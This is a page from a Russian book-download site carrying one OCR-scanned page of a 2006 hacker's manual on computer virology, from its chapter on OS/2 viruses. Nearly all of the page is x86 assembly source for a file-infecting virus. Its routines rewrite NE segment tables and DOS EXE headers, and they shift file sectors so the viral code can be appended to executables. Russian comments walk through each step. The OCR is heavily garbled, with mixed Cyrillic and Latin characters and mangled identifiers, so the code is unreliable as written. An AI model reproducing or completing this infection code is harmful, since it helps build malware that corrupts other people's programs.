Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 110 111 112 113 114 115 < 116 > 117 118 119 120 121 122 .. 123 >> Следующая

{подстраиваем информацию о размере {файла в DOS-заголовке call FILE_CLOSE
{закрываем файл INF2: ret
Следующая процедура обновляет записи сегментной таблицы на предмет (1) в
;INFECT_FILE.
UPDATE_SEG_TBL:
mov dx.WORD PTR [NEW_HDR+16H] {читаем запись сегментной call
GET_SEG_ENTRY {таблицы для первоначального cs mov ax.WORD PTR [TEMP+2]
{получаем размер сегмента add ax.VlRUS SIZE добавляем размер вируса к
размеру сегмента mov WORD PTR [ТЕМР+2],ах {обновляем размер в сегментной
{таблице
ГЛАВА 10. Вирусы для OS/2
mov ax.WORD PTR [ТЕМР+6] [получаем минимальный
[назначаемый размер сегмента
or ах.ах ' ;он равен 64К?
jz SHORT US2 ;да, оставляем его в покое
US1: add ax,VIRUS_SIZE [добавляем размер вируса
jne SHORT US2 ;нет переполнения, обновляем значение
хог ах.ах [иначе устанавливаем размер = 64К
US2: mov WORD PTR [ТЕМР+6],ах [обновляем размер
;в таблице в RAM
mov al, 1 mov cx.OFFFFH mov dx,-8
call FILE_SEEK [возвращаемся к локации записи сегментной [таблицы
mov dx.OFFSET TEMP [записываем модифицированную запись mov сх,8
[сегментной таблицы для первоначального cs call FILE WRITE ;ОК, запись
первоначального cs сегментной [таблицы модифицирована
mov di.WORD PTR [NEW_HDR+1 СН] [получаем число записей [сегментной
таблицы US3: push di [сохраняем счетчик записей таблицы mov dx.di [dx-
номер записи сегментной таблицы для чтения call GET_SEG_ENTRY [читаем ее
в буфере диска mov ax,WORD PTR [TEMP] [получаем офсет этого сегмента в
файле cmp ax,[INITSEC] [выше, чем первоначальный сегмент кода? jle SHORT
US4 ;нет, не подстраиваем add ax,[VIRSECS] ;да, добавляем размер вируса
US4: mov WORD PTR [TEMP],ах [подстраиваем локацию [сегмента в памяти
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov al, 1 mov cx.OFFFFH mov dx,-8
call F1LE_SEEK возвращаемся к локации записи сегментной таблицы
mov dx,OFFSET TEMP mov cx,8
call FILE_WRITE {записываем модифицированную запись {сегментной таблицы
pop di {восстанавливаем счетчик записей таблицы dec di
jnz US3 {петля, пока все сегменты не будут выполнены ret ;все сделано
Эта подпрограмма подстраивает DOS ЕХЕ-заголовок, чтобы отразить новый
размер файла с добавленным вирусом. Поля "счет страниц" и "размер
последней страницы" должны быть подстроены. В отличие от Windows, OS/2
использует переменные для определения размера загружаемого файла. Если
размер не будет подстроен, часть файла не загрузится и попадет в "круглую
папку", то есть мусорное ведро.
ADJUST_DOS_HDR:
mov dx,2 {ищем переменные размера файла
хог сх.сх
call FILE_SEEK_ST
mov dx,OFFSET TEMP {читаем в буфере TEMP
mov cx,4
call FILE.READ
mov cx.lVIRSECS] {считаем байты и добавляем mov ax,[LOG_SEC]
ГЛАВА 10. Вирусы для OS/2
mul сх [помещаем значение в dx:ax shl edx,16 and eax.OOOOFFFFH
or edx.eax [байты, которые нужно добавить в edx mov ax.WORD PTR [TEMP+2]
[получаем счет страниц файла dec ах ;еах =счет страниц -1
shl еах,9 ;еах = все байты, кроме последней страницы xor ebx.ebx
mov bx.WORD PTR [ТЕМЕ] ;ebx = байты последней страницы add edx.eax
add edx.ebx ;edx = новый размер файла (в байтах) mov eax.edx
and ах,0000000111111111В ;ах = размер последней страницы mov WORD PTR
[TEMP],ах shr edx,9 inc dx
mov WORD PTR [TEMP+2] ,dx [сохраняем здесь счет страниц mov dx,2 ;ищем
переменные размера файла хог сх.сх call FILE_SEEK_ST
mov dx.OFFSET TEMP [читаем в буфере TEMP mov cx,4 call FlLE_WRtTE ret
Эта подпрограмма переходит к номеру записи сегментной таблицы, который
указан в dx в файле, и читает запись в буфере. TEMP, dx-1 - является
первой записью!
GET_SEG_ENTRY: dec dx mov cl,3 shl dx.cl
AQd
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
add dx,[NH_OFFSET] add dx,WORD PTR [NBWHDR+22H] ;с!х=офоет требуемой
записи хог сх.сх {сегментной таблицы в файле
call FILE_SEEK_ST {переходим к указанной записи в таблице jc SHORT GSE1
{выходим при ошибке
mov dx.OFFSETTEMP mov сх,8
call FILE_READ {читаем запись таблицы в буфере диска GSE1: ret
Эта подпрограмма перемещает конец вируса. "Концом" является все, что
располагается после первоначального сегмента кода, где обитает вирус.
Переменная VIRSECS должна быть правильно установлена перед вызовом.
MOVE_END_OUT:
mov ax,[CS_SlZE] {размер cs (в байтах) перед инфицированием mov
cx,[LOG_SEC] xor dx.dx div cx or dx.dx jz SHORT ME01 inc ax
ME01: add ax,[INITSEC] ;ах=следующий сектор после cs push ax {сохраняем
его
xor dx.dx xor cx.cx
mov al,2 ;ищем конец файла
call FILE_SEEK {возвращаем dx:ax = размер файла
mov cx,[LOG_SEC]
div cx ;ax = числу секторов в файле or dx.dx
jz ME015 {подстраиваем дополнительные байты inc ах
ГЛАВА 10. Вирусы для OS/2
ME015:mov dx.ax [храним значение здесь
pop di [di=caMbtfi нижний сектор для перемещения sub dx.di ;dx=4Hono
секторов для перемещения
МЕ02: push dx push di
calMCWESECTTORS [переносим столько, сколько позволит буфер [данных
pop di [число перенесенных возвращаем в ах pop dx sub dx,ax or dx.dx jnz
ME02 ret
Эта подпрограмма переносит столько секторов, сколько позволяет буфер,
Предыдущая << 1 .. 110 111 112 113 114 115 < 116 > 117 118 119 120 121 122 .. 123 >> Следующая